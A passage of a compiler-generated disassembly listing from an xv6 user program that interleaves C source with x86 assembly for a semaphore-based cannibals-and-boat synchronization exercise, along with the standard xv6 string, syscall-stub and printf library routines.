46a: c7 44 24 04 20 13 00 movl $0x1320,0x4(%esp)
471: 00
472: c7 04 24 01 00 00 00 movl $0x1,(%esp)
479: e8 2c 06 00 00 call aaa <printf>
sem_signal(&display);
47e: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
485: e8 0d 0d 00 00 call 1197 <sem_signal>
sem_aquire(&boat);
48a: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
491: e8 9b 0c 00 00 call 1131 <sem_aquire>
sem_aquire(&mutex2);
496: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
49d: e8 8f 0c 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) cannibal arrived, %d, %d\n", getpid(), total, con);
sem_signal(&display);
sem_aquire(&mutex2);
while(total + 2 == 5) { con++;
4a2: a1 84 18 00 00 mov 0x1884,%eax
4a7: 83 f8 03 cmp $0x3,%eax
4aa: 0f 84 17 ff ff ff je 3c7 <CannibalArrives+0x6e>
sem_aquire(&boat);
sem_aquire(&mutex2);
}
sem_signal(&mutex2);
4b0: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
4b7: e8 db 0c 00 00 call 1197 <sem_signal>
sem_aquire(&mutex2);
4bc: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
4c3: e8 69 0c 00 00 call 1131 <sem_aquire>
total += 2;
4c8: a1 84 18 00 00 mov 0x1884,%eax
4cd: 83 c0 02 add $0x2,%eax
4d0: a3 84 18 00 00 mov %eax,0x1884
sem_signal(&mutex2);
4d5: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
4dc: e8 b6 0c 00 00 call 1197 <sem_signal>
sem_aquire(&display);
4e1: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
4e8: e8 44 0c 00 00 call 1131 <sem_aquire>
printf(1, "2: (%d) cannibal enters boat, %d, %d\n", getpid(), total, con);
4ed: 8b 35 88 18 00 00 mov 0x1888,%esi
4f3: 8b 1d 84 18 00 00 mov 0x1884,%ebx
4f9: e8 84 04 00 00 call 982 <getpid>
4fe: 89 74 24 10 mov %esi,0x10(%esp)
502: 89 5c 24 0c mov %ebx,0xc(%esp)
506: 89 44 24 08 mov %eax,0x8(%esp)
50a: c7 44 24 04 4c 13 00 movl $0x134c,0x4(%esp)
511: 00
512: c7 04 24 01 00 00 00 movl $0x1,(%esp)
519: e8 8c 05 00 00 call aaa <printf>
sem_signal(&display);
51e: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
525: e8 6d 0c 00 00 call 1197 <sem_signal>
sem_aquire(&mutex);
52a: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
531: e8 fb 0b 00 00 call 1131 <sem_aquire>
bp++;
536: a1 80 18 00 00 mov 0x1880,%eax
53b: 83 c0 01 add $0x1,%eax
53e: a3 80 18 00 00 mov %eax,0x1880
sem_signal(&mutex);
543: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
54a: e8 48 0c 00 00 call 1197 <sem_signal>
if (bp < 3) sem_aquire(&loading);
54f: a1 80 18 00 00 mov 0x1880,%eax
554: 83 f8 02 cmp $0x2,%eax
557: 7f 0c jg 565 <CannibalArrives+0x20c>
559: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
560: e8 cc 0b 00 00 call 1131 <sem_aquire>
// sem_aquire(&display);
// printf(1, "bp cannibal: %d\n", bp);
// sem_signal(&display);
RowBoat();
565: e8 11 00 00 00 call 57b <RowBoat>
sem_signal(&loading);
56a: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
571: e8 21 0c 00 00 call 1197 <sem_signal>
texit();
576: e8 2f 04 00 00 call 9aa <texit>
0000057b <RowBoat>:
}
void RowBoat()
{
57b: 55 push %ebp
57c: 89 e5 mov %esp,%ebp
57e: 56 push %esi
57f: 53 push %ebx
580: 83 ec 30 sub $0x30,%esp
// sending boat off
sem_aquire(&mutex);
583: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
58a: e8 a2 0b 00 00 call 1131 <sem_aquire>
if(bp == 3){
58f: a1 80 18 00 00 mov 0x1880,%eax
594: 83 f8 03 cmp $0x3,%eax
597: 0f 85 ea 00 00 00 jne 687 <RowBoat+0x10c>
sem_aquire(&display);
59d: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
5a4: e8 88 0b 00 00 call 1131 <sem_aquire>
printf(1, "(%d) RowBoat\n", getpid());
5a9: e8 d4 03 00 00 call 982 <getpid>
5ae: 89 44 24 08 mov %eax,0x8(%esp)
5b2: c7 44 24 04 72 13 00 movl $0x1372,0x4(%esp)
5b9: 00
5ba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5c1: e8 e4 04 00 00 call aaa <printf>
sem_signal(&display);
5c6: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
5cd: e8 c5 0b 00 00 call 1197 <sem_signal>
sem_signal(&boat);
5d2: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
5d9: e8 b9 0b 00 00 call 1197 <sem_signal>
sem_signal(&boat);
5de: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
5e5: e8 ad 0b 00 00 call 1197 <sem_signal>
sem_signal(&boat);
5ea: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
5f1: e8 a1 0b 00 00 call 1197 <sem_signal>
bp = 0;
5f6: c7 05 80 18 00 00 00 movl $0x0,0x1880
5fd: 00 00 00
sem_aquire(&display);
600: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
607: e8 25 0b 00 00 call 1131 <sem_aquire>
printf(1, "(%d) sending boat off. bon voyage! %d, %d\n", getpid(), total, con);
60c: 8b 35 88 18 00 00 mov 0x1888,%esi
612: 8b 1d 84 18 00 00 mov 0x1884,%ebx
618: e8 65 03 00 00 call 982 <getpid>
61d: 89 74 24 10 mov %esi,0x10(%esp)
621: 89 5c 24 0c mov %ebx,0xc(%esp)
625: 89 44 24 08 mov %eax,0x8(%esp)
629: c7 44 24 04 80 13 00 movl $0x1380,0x4(%esp)
630: 00
631: c7 04 24 01 00 00 00 movl $0x1,(%esp)
638: e8 6d 04 00 00 call aaa <printf>
sem_signal(&display);
63d: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
644: e8 4e 0b 00 00 call 1197 <sem_signal>
int j = 0;
649: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
for (j = 0; j < con; ++j) sem_signal(&prevention);
650: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
657: eb 10 jmp 669 <RowBoat+0xee>
659: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp)
660: e8 32 0b 00 00 call 1197 <sem_signal>
665: 83 45 f4 01 addl $0x1,-0xc(%ebp)
669: a1 88 18 00 00 mov 0x1888,%eax
66e: 39 45 f4 cmp %eax,-0xc(%ebp)
671: 7c e6 jl 659 <RowBoat+0xde>
con = 0;
673: c7 05 88 18 00 00 00 movl $0x0,0x1888
67a: 00 00 00
total = 0;
67d: c7 05 84 18 00 00 00 movl $0x0,0x1884
684: 00 00 00
}
sem_signal(&mutex);
687: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
68e: e8 04 0b 00 00 call 1197 <sem_signal>
693: 83 c4 30 add $0x30,%esp
696: 5b pop %ebx
697: 5e pop %esi
698: 5d pop %ebp
699: c3 ret
0000069a <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
69a: 55 push %ebp
69b: 89 e5 mov %esp,%ebp
69d: 57 push %edi
69e: 53 push %ebx
asm volatile("cld; rep stosb" :
69f: 8b 4d 08 mov 0x8(%ebp),%ecx
6a2: 8b 55 10 mov 0x10(%ebp),%edx
6a5: 8b 45 0c mov 0xc(%ebp),%eax
6a8: 89 cb mov %ecx,%ebx
6aa: 89 df mov %ebx,%edi
6ac: 89 d1 mov %edx,%ecx
6ae: fc cld
6af: f3 aa rep stos %al,%es:(%edi)
6b1: 89 ca mov %ecx,%edx
6b3: 89 fb mov %edi,%ebx
6b5: 89 5d 08 mov %ebx,0x8(%ebp)
6b8: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
6bb: 5b pop %ebx
6bc: 5f pop %edi
6bd: 5d pop %ebp
6be: c3 ret
000006bf <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
6bf: 55 push %ebp
6c0: 89 e5 mov %esp,%ebp
6c2: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
6c5: 8b 45 08 mov 0x8(%ebp),%eax
6c8: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
6cb: 90 nop
6cc: 8b 45 08 mov 0x8(%ebp),%eax
6cf: 8d 50 01 lea 0x1(%eax),%edx
6d2: 89 55 08 mov %edx,0x8(%ebp)
6d5: 8b 55 0c mov 0xc(%ebp),%edx
6d8: 8d 4a 01 lea 0x1(%edx),%ecx
6db: 89 4d 0c mov %ecx,0xc(%ebp)
6de: 0f b6 12 movzbl (%edx),%edx
6e1: 88 10 mov %dl,(%eax)
6e3: 0f b6 00 movzbl (%eax),%eax
6e6: 84 c0 test %al,%al
6e8: 75 e2 jne 6cc <strcpy+0xd>
;
return os;
6ea: 8b 45 fc mov -0x4(%ebp),%eax
}
6ed: c9 leave
6ee: c3 ret
000006ef <strcmp>:
int
strcmp(const char *p, const char *q)
{
6ef: 55 push %ebp
6f0: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
6f2: eb 08 jmp 6fc <strcmp+0xd>
p++, q++;
6f4: 83 45 08 01 addl $0x1,0x8(%ebp)
6f8: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
6fc: 8b 45 08 mov 0x8(%ebp),%eax
6ff: 0f b6 00 movzbl (%eax),%eax
702: 84 c0 test %al,%al
704: 74 10 je 716 <strcmp+0x27>
706: 8b 45 08 mov 0x8(%ebp),%eax
709: 0f b6 10 movzbl (%eax),%edx
70c: 8b 45 0c mov 0xc(%ebp),%eax
70f: 0f b6 00 movzbl (%eax),%eax
712: 38 c2 cmp %al,%dl
714: 74 de je 6f4 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
716: 8b 45 08 mov 0x8(%ebp),%eax
719: 0f b6 00 movzbl (%eax),%eax
71c: 0f b6 d0 movzbl %al,%edx
71f: 8b 45 0c mov 0xc(%ebp),%eax
722: 0f b6 00 movzbl (%eax),%eax
725: 0f b6 c0 movzbl %al,%eax
728: 29 c2 sub %eax,%edx
72a: 89 d0 mov %edx,%eax
}
72c: 5d pop %ebp
72d: c3 ret
0000072e <strlen>:
uint
strlen(char *s)
{
72e: 55 push %ebp
72f: 89 e5 mov %esp,%ebp
731: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
734: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
73b: eb 04 jmp 741 <strlen+0x13>
73d: 83 45 fc 01 addl $0x1,-0x4(%ebp)
741: 8b 55 fc mov -0x4(%ebp),%edx
744: 8b 45 08 mov 0x8(%ebp),%eax
747: 01 d0 add %edx,%eax
749: 0f b6 00 movzbl (%eax),%eax
74c: 84 c0 test %al,%al
74e: 75 ed jne 73d <strlen+0xf>
;
return n;
750: 8b 45 fc mov -0x4(%ebp),%eax
}
753: c9 leave
754: c3 ret
00000755 <memset>:
void*
memset(void *dst, int c, uint n)
{
755: 55 push %ebp
756: 89 e5 mov %esp,%ebp
758: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
75b: 8b 45 10 mov 0x10(%ebp),%eax
75e: 89 44 24 08 mov %eax,0x8(%esp)
762: 8b 45 0c mov 0xc(%ebp),%eax
765: 89 44 24 04 mov %eax,0x4(%esp)
769: 8b 45 08 mov 0x8(%ebp),%eax
76c: 89 04 24 mov %eax,(%esp)
76f: e8 26 ff ff ff call 69a <stosb>
return dst;
774: 8b 45 08 mov 0x8(%ebp),%eax
}
777: c9 leave
778: c3 ret
00000779 <strchr>:
char*
strchr(const char *s, char c)
{
779: 55 push %ebp
77a: 89 e5 mov %esp,%ebp
77c: 83 ec 04 sub $0x4,%esp
77f: 8b 45 0c mov 0xc(%ebp),%eax
782: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
785: eb 14 jmp 79b <strchr+0x22>
if(*s == c)
787: 8b 45 08 mov 0x8(%ebp),%eax
78a: 0f b6 00 movzbl (%eax),%eax
78d: 3a 45 fc cmp -0x4(%ebp),%al
790: 75 05 jne 797 <strchr+0x1e>
return (char*)s;
792: 8b 45 08 mov 0x8(%ebp),%eax
795: eb 13 jmp 7aa <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
797: 83 45 08 01 addl $0x1,0x8(%ebp)
79b: 8b 45 08 mov 0x8(%ebp),%eax
79e: 0f b6 00 movzbl (%eax),%eax
7a1: 84 c0 test %al,%al
7a3: 75 e2 jne 787 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
7a5: b8 00 00 00 00 mov $0x0,%eax
}
7aa: c9 leave
7ab: c3 ret
000007ac <gets>:
char*
gets(char *buf, int max)
{
7ac: 55 push %ebp
7ad: 89 e5 mov %esp,%ebp
7af: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
7b2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
7b9: eb 4c jmp 807 <gets+0x5b>
cc = read(0, &c, 1);
7bb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
7c2: 00
7c3: 8d 45 ef lea -0x11(%ebp),%eax
7c6: 89 44 24 04 mov %eax,0x4(%esp)
7ca: c7 04 24 00 00 00 00 movl $0x0,(%esp)
7d1: e8 44 01 00 00 call 91a <read>
7d6: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
7d9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7dd: 7f 02 jg 7e1 <gets+0x35>
break;
7df: eb 31 jmp 812 <gets+0x66>
buf[i++] = c;
7e1: 8b 45 f4 mov -0xc(%ebp),%eax
7e4: 8d 50 01 lea 0x1(%eax),%edx
7e7: 89 55 f4 mov %edx,-0xc(%ebp)
7ea: 89 c2 mov %eax,%edx
7ec: 8b 45 08 mov 0x8(%ebp),%eax
7ef: 01 c2 add %eax,%edx
7f1: 0f b6 45 ef movzbl -0x11(%ebp),%eax
7f5: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
7f7: 0f b6 45 ef movzbl -0x11(%ebp),%eax
7fb: 3c 0a cmp $0xa,%al
7fd: 74 13 je 812 <gets+0x66>
7ff: 0f b6 45 ef movzbl -0x11(%ebp),%eax
803: 3c 0d cmp $0xd,%al
805: 74 0b je 812 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
807: 8b 45 f4 mov -0xc(%ebp),%eax
80a: 83 c0 01 add $0x1,%eax
80d: 3b 45 0c cmp 0xc(%ebp),%eax
810: 7c a9 jl 7bb <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
812: 8b 55 f4 mov -0xc(%ebp),%edx
815: 8b 45 08 mov 0x8(%ebp),%eax
818: 01 d0 add %edx,%eax
81a: c6 00 00 movb $0x0,(%eax)
return buf;
81d: 8b 45 08 mov 0x8(%ebp),%eax
}
820: c9 leave
821: c3 ret
00000822 <stat>:
int
stat(char *n, struct stat *st)
{
822: 55 push %ebp
823: 89 e5 mov %esp,%ebp
825: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
828: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
82f: 00
830: 8b 45 08 mov 0x8(%ebp),%eax
833: 89 04 24 mov %eax,(%esp)
836: e8 07 01 00 00 call 942 <open>
83b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
83e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
842: 79 07 jns 84b <stat+0x29>
return -1;
844: b8 ff ff ff ff mov $0xffffffff,%eax
849: eb 23 jmp 86e <stat+0x4c>
r = fstat(fd, st);
84b: 8b 45 0c mov 0xc(%ebp),%eax
84e: 89 44 24 04 mov %eax,0x4(%esp)
852: 8b 45 f4 mov -0xc(%ebp),%eax
855: 89 04 24 mov %eax,(%esp)
858: e8 fd 00 00 00 call 95a <fstat>
85d: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
860: 8b 45 f4 mov -0xc(%ebp),%eax
863: 89 04 24 mov %eax,(%esp)
866: e8 bf 00 00 00 call 92a <close>
return r;
86b: 8b 45 f0 mov -0x10(%ebp),%eax
}
86e: c9 leave
86f: c3 ret
00000870 <atoi>:
int
atoi(const char *s)
{
870: 55 push %ebp
871: 89 e5 mov %esp,%ebp
873: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
876: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
87d: eb 25 jmp 8a4 <atoi+0x34>
n = n*10 + *s++ - '0';
87f: 8b 55 fc mov -0x4(%ebp),%edx
882: 89 d0 mov %edx,%eax
884: c1 e0 02 shl $0x2,%eax
887: 01 d0 add %edx,%eax
889: 01 c0 add %eax,%eax
88b: 89 c1 mov %eax,%ecx
88d: 8b 45 08 mov 0x8(%ebp),%eax
890: 8d 50 01 lea 0x1(%eax),%edx
893: 89 55 08 mov %edx,0x8(%ebp)
896: 0f b6 00 movzbl (%eax),%eax
899: 0f be c0 movsbl %al,%eax
89c: 01 c8 add %ecx,%eax
89e: 83 e8 30 sub $0x30,%eax
8a1: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
8a4: 8b 45 08 mov 0x8(%ebp),%eax
8a7: 0f b6 00 movzbl (%eax),%eax
8aa: 3c 2f cmp $0x2f,%al
8ac: 7e 0a jle 8b8 <atoi+0x48>
8ae: 8b 45 08 mov 0x8(%ebp),%eax
8b1: 0f b6 00 movzbl (%eax),%eax
8b4: 3c 39 cmp $0x39,%al
8b6: 7e c7 jle 87f <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
8b8: 8b 45 fc mov -0x4(%ebp),%eax
}
8bb: c9 leave
8bc: c3 ret
000008bd <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
8bd: 55 push %ebp
8be: 89 e5 mov %esp,%ebp
8c0: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
8c3: 8b 45 08 mov 0x8(%ebp),%eax
8c6: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
8c9: 8b 45 0c mov 0xc(%ebp),%eax
8cc: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
8cf: eb 17 jmp 8e8 <memmove+0x2b>
*dst++ = *src++;
8d1: 8b 45 fc mov -0x4(%ebp),%eax
8d4: 8d 50 01 lea 0x1(%eax),%edx
8d7: 89 55 fc mov %edx,-0x4(%ebp)
8da: 8b 55 f8 mov -0x8(%ebp),%edx
8dd: 8d 4a 01 lea 0x1(%edx),%ecx
8e0: 89 4d f8 mov %ecx,-0x8(%ebp)
8e3: 0f b6 12 movzbl (%edx),%edx
8e6: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
8e8: 8b 45 10 mov 0x10(%ebp),%eax
8eb: 8d 50 ff lea -0x1(%eax),%edx
8ee: 89 55 10 mov %edx,0x10(%ebp)
8f1: 85 c0 test %eax,%eax
8f3: 7f dc jg 8d1 <memmove+0x14>
*dst++ = *src++;
return vdst;
8f5: 8b 45 08 mov 0x8(%ebp),%eax
}
8f8: c9 leave
8f9: c3 ret
000008fa <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
8fa: b8 01 00 00 00 mov $0x1,%eax
8ff: cd 40 int $0x40
901: c3 ret
00000902 <exit>:
SYSCALL(exit)
902: b8 02 00 00 00 mov $0x2,%eax
907: cd 40 int $0x40
909: c3 ret
0000090a <wait>:
SYSCALL(wait)
90a: b8 03 00 00 00 mov $0x3,%eax
90f: cd 40 int $0x40
911: c3 ret
00000912 <pipe>:
SYSCALL(pipe)
912: b8 04 00 00 00 mov $0x4,%eax
917: cd 40 int $0x40
919: c3 ret
0000091a <read>:
SYSCALL(read)
91a: b8 05 00 00 00 mov $0x5,%eax
91f: cd 40 int $0x40
921: c3 ret
00000922 <write>:
SYSCALL(write)
922: b8 10 00 00 00 mov $0x10,%eax
927: cd 40 int $0x40
929: c3 ret
0000092a <close>:
SYSCALL(close)
92a: b8 15 00 00 00 mov $0x15,%eax
92f: cd 40 int $0x40
931: c3 ret
00000932 <kill>:
SYSCALL(kill)
932: b8 06 00 00 00 mov $0x6,%eax
937: cd 40 int $0x40
939: c3 ret
0000093a <exec>:
SYSCALL(exec)
93a: b8 07 00 00 00 mov $0x7,%eax
93f: cd 40 int $0x40
941: c3 ret
00000942 <open>:
SYSCALL(open)
942: b8 0f 00 00 00 mov $0xf,%eax
947: cd 40 int $0x40
949: c3 ret
0000094a <mknod>:
SYSCALL(mknod)
94a: b8 11 00 00 00 mov $0x11,%eax
94f: cd 40 int $0x40
951: c3 ret
00000952 <unlink>:
SYSCALL(unlink)
952: b8 12 00 00 00 mov $0x12,%eax
957: cd 40 int $0x40
959: c3 ret
0000095a <fstat>:
SYSCALL(fstat)
95a: b8 08 00 00 00 mov $0x8,%eax
95f: cd 40 int $0x40
961: c3 ret
00000962 <link>:
SYSCALL(link)
962: b8 13 00 00 00 mov $0x13,%eax
967: cd 40 int $0x40
969: c3 ret
0000096a <mkdir>:
SYSCALL(mkdir)
96a: b8 14 00 00 00 mov $0x14,%eax
96f: cd 40 int $0x40
971: c3 ret
00000972 <chdir>:
SYSCALL(chdir)
972: b8 09 00 00 00 mov $0x9,%eax
977: cd 40 int $0x40
979: c3 ret
0000097a <dup>:
SYSCALL(dup)
97a: b8 0a 00 00 00 mov $0xa,%eax
97f: cd 40 int $0x40
981: c3 ret
00000982 <getpid>:
SYSCALL(getpid)
982: b8 0b 00 00 00 mov $0xb,%eax
987: cd 40 int $0x40
989: c3 ret
0000098a <sbrk>:
SYSCALL(sbrk)
98a: b8 0c 00 00 00 mov $0xc,%eax
98f: cd 40 int $0x40
991: c3 ret
00000992 <sleep>:
SYSCALL(sleep)
992: b8 0d 00 00 00 mov $0xd,%eax
997: cd 40 int $0x40
999: c3 ret
0000099a <uptime>:
SYSCALL(uptime)
99a: b8 0e 00 00 00 mov $0xe,%eax
99f: cd 40 int $0x40
9a1: c3 ret
000009a2 <clone>:
SYSCALL(clone)
9a2: b8 16 00 00 00 mov $0x16,%eax
9a7: cd 40 int $0x40
9a9: c3 ret
000009aa <texit>:
SYSCALL(texit)
9aa: b8 17 00 00 00 mov $0x17,%eax
9af: cd 40 int $0x40
9b1: c3 ret
000009b2 <tsleep>:
SYSCALL(tsleep)
9b2: b8 18 00 00 00 mov $0x18,%eax
9b7: cd 40 int $0x40
9b9: c3 ret
000009ba <twakeup>:
SYSCALL(twakeup)
9ba: b8 19 00 00 00 mov $0x19,%eax
9bf: cd 40 int $0x40
9c1: c3 ret
000009c2 <test>:
SYSCALL(test)
9c2: b8 1a 00 00 00 mov $0x1a,%eax
9c7: cd 40 int $0x40
9c9: c3 ret
000009ca <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
9ca: 55 push %ebp
9cb: 89 e5 mov %esp,%ebp
9cd: 83 ec 18 sub $0x18,%esp
9d0: 8b 45 0c mov 0xc(%ebp),%eax
9d3: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
9d6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
9dd: 00
9de: 8d 45 f4 lea -0xc(%ebp),%eax
9e1: 89 44 24 04 mov %eax,0x4(%esp)
9e5: 8b 45 08 mov 0x8(%ebp),%eax
9e8: 89 04 24 mov %eax,(%esp)
9eb: e8 32 ff ff ff call 922 <write>
}
9f0: c9 leave
9f1: c3 ret
000009f2 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
9f2: 55 push %ebp
9f3: 89 e5 mov %esp,%ebp
9f5: 56 push %esi
9f6: 53 push %ebx
9f7: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
9fa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
a01: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
a05: 74 17 je a1e <printint+0x2c>
a07: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
a0b: 79 11 jns a1e <printint+0x2c>
neg = 1;
a0d: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
a14: 8b 45 0c mov 0xc(%ebp),%eax
a17: f7 d8 neg %eax
a19: 89 45 ec mov %eax,-0x14(%ebp)
a1c: eb 06 jmp a24 <printint+0x32>
} else {
x = xx;
a1e: 8b 45 0c mov 0xc(%ebp),%eax
a21: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
a24: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
a2b: 8b 4d f4 mov -0xc(%ebp),%ecx
a2e: 8d 41 01 lea 0x1(%ecx),%eax
a31: 89 45 f4 mov %eax,-0xc(%ebp)
a34: 8b 5d 10 mov 0x10(%ebp),%ebx
a37: 8b 45 ec mov -0x14(%ebp),%eax
a3a: ba 00 00 00 00 mov $0x0,%edx
a3f: f7 f3 div %ebx
a41: 89 d0 mov %edx,%eax
a43: 0f b6 80 58 18 00 00 movzbl 0x1858(%eax),%eax
a4a: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
a4e: 8b 75 10 mov 0x10(%ebp),%esi
a51: 8b 45 ec mov -0x14(%ebp),%eax
a54: ba 00 00 00 00 mov $0x0,%edx
a59: f7 f6 div %esi
a5b: 89 45 ec mov %eax,-0x14(%ebp)
a5e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
a62: 75 c7 jne a2b <printint+0x39>
if(neg)
a64: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a68: 74 10 je a7a <printint+0x88>
buf[i++] = '-';
a6a: 8b 45 f4 mov -0xc(%ebp),%eax
a6d: 8d 50 01 lea 0x1(%eax),%edx
a70: 89 55 f4 mov %edx,-0xc(%ebp)
a73: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
a78: eb 1f jmp a99 <printint+0xa7>
a7a: eb 1d jmp a99 <printint+0xa7>
putc(fd, buf[i]);
a7c: 8d 55 dc lea -0x24(%ebp),%edx
a7f: 8b 45 f4 mov -0xc(%ebp),%eax
a82: 01 d0 add %edx,%eax
a84: 0f b6 00 movzbl (%eax),%eax
a87: 0f be c0 movsbl %al,%eax
a8a: 89 44 24 04 mov %eax,0x4(%esp)
a8e: 8b 45 08 mov 0x8(%ebp),%eax
a91: 89 04 24 mov %eax,(%esp)
a94: e8 31 ff ff ff call 9ca <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
a99: 83 6d f4 01 subl $0x1,-0xc(%ebp)
a9d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
aa1: 79 d9 jns a7c <printint+0x8a>
putc(fd, buf[i]);
}
aa3: 83 c4 30 add $0x30,%esp
aa6: 5b pop %ebx
aa7: 5e pop %esi
aa8: 5d pop %ebp
aa9: c3 ret
00000aaa <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
aaa: 55 push %ebp
aab: 89 e5 mov %esp,%ebp
aad: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ab0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
ab7: 8d 45 0c lea 0xc(%ebp),%eax
aba: 83 c0 04 add $0x4,%eax
abd: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
ac0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ac7: e9 7c 01 00 00 jmp c48 <printf+0x19e>
c = fmt[i] & 0xff;
acc: 8b 55 0c mov 0xc(%ebp),%edx
acf: 8b 45 f0 mov -0x10(%ebp),%eax
ad2: 01 d0 add %edx,%eax
ad4: 0f b6 00 movzbl (%eax),%eax
ad7: 0f be c0 movsbl %al,%eax
ada: 25 ff 00 00 00 and $0xff,%eax
adf: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
ae2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
ae6: 75 2c jne b14 <printf+0x6a>
if(c == '%'){
ae8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
aec: 75 0c jne afa <printf+0x50>
state = '%';
aee: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
af5: e9 4a 01 00 00 jmp c44 <printf+0x19a>
} else {
putc(fd, c);
afa: 8b 45 e4 mov -0x1c(%ebp),%eax
afd: 0f be c0 movsbl %al,%eax
b00: 89 44 24 04 mov %eax,0x4(%esp)
b04: 8b 45 08 mov 0x8(%ebp),%eax
b07: 89 04 24 mov %eax,(%esp)
b0a: e8 bb fe ff ff call 9ca <putc>
b0f: e9 30 01 00 00 jmp c44 <printf+0x19a>
}
} else if(state == '%'){
b14: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
b18: 0f 85 26 01 00 00 jne c44 <printf+0x19a>
if(c == 'd'){
